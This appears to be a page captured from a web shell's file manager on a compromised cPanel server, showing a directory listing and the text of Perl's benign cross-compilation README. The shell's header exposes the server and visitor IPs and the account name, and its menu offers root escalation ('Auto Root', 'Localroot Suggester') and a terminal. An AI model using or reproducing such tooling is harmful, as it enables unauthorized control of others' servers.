Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
Cross /
Delete
Unzip
Name
Size
Permission
Date
Action
Makefile
2.03
KB
-r--r--r--
2014-12-27 11:48
Makefile-cross-SH
40.04
KB
-r--r--r--
2014-12-27 11:49
Makefile.SH.patch
6.52
KB
-r--r--r--
2014-12-27 11:48
README
2.74
KB
-r--r--r--
2014-12-27 11:48
README.new
2.8
KB
-r--r--r--
2014-12-27 11:48
TODO
63
B
-r--r--r--
2014-12-27 11:48
build-arm-n770-sh
2.34
KB
-r--r--r--
2014-12-27 11:48
cflags-cross-arm
3.32
KB
-r--r--r--
2014-12-27 11:49
config
494
B
-r--r--r--
2014-12-27 11:48
config.sh-arm-linux
25.47
KB
-r--r--r--
2015-01-28 21:08
config.sh-arm-linux-n770
24.6
KB
-r--r--r--
2015-01-28 21:08
generate_config_sh
3.66
KB
-r-xr-xr-x
2014-12-27 11:48
installperl.patch
538
B
-r--r--r--
2014-12-27 11:48
warp
376
B
-r-xr-xr-x
2014-12-27 11:48
Save
Rename
You're reading ./Cross/README.new, describing Perl cross-compilation process. NOTE: this file will replace ./Cross/README, after the cross-compilation scheme is stabilized. =head1 NAME README.new - Cross-compilation for linux =head1 DESCRIPTION This is second approach to linux cross-compilation, which should allow building full perl and extensions for target platform. Cross-compilation for linux uses similar approach and shares the same files as cross-compilation for WinCE. We refer to HOST as the platform where the build is performed, and to TARGET as where final executables will run. =head2 Basic ideas =head3 common Unlike WinCE, output files from GCC cross-compiler are produced in the same directory where C files are. All TARGET binaries have different extensions so to distinguish HOST and TARGET binaries. Namely, object files for C<arm> cross-compilation will have extension C<.armo>, executable files will have C<.arm>. After typical cross-compilation the following files will be built, among others: sv.c sv.o sv.armo libperl.arma (this approach may be reconsidered, however.) =head3 build process C<miniperl> is built. This executable is intended to run on HOST, and it will facilitate the remaining build process; all binaries built after it are foreign (TARGET) and should not run locally (HOST). Unlike HOST build, miniperl will not have C<Config.pm> of HOST within reach; it rather will use the C<Config.pm> from the cross-compilation directories. In fact, if the build process does have Config.pm within reach, this is only an indication of a mistake somewhere in the middle. # following command is okay: ./miniperl -Ilib -MCross -MConfig -e 1 # following command should cluck, and it is bad if it does not: ./miniperl -Ilib -MConfig -e 1 After C<miniperl> is built, C<configpm> is invoked to create an appropriate C<Config.pm> in the right place and its corresponding C<Cross.pm>. File C<Cross.pm> is dead simple: for given cross-architecture places in @INC a path where perl modules are, and right C<Config.pm> in that place. That said, C<miniperl -Ilib -MConfig -we 1> should report an error, because it cannot find C<Config.pm>. If it does not give an error, a wrong C<Config.pm> is substituted, and resulting binaries will be a mess. C<miniperl -MCross -MConfig -we 1> should run okay, and it will provide a correct C<Config.pm> for further compilations. During extensions build phase, the script C<./ext/util/make_ext_cross> is invoked. All invocations of C<Makefile.PL> are provided with C<-MCross> so to enable cross-compilation. =head2 BUILD =head3 Tools & SDK To compile, you need the following: =over 4 =item * TODO =back =head1 Things to be done =over 4 =item * better distinguishing of config.h/xconfig.h, dependencies =item * object files created in ./xlib/cross-name/ ? =back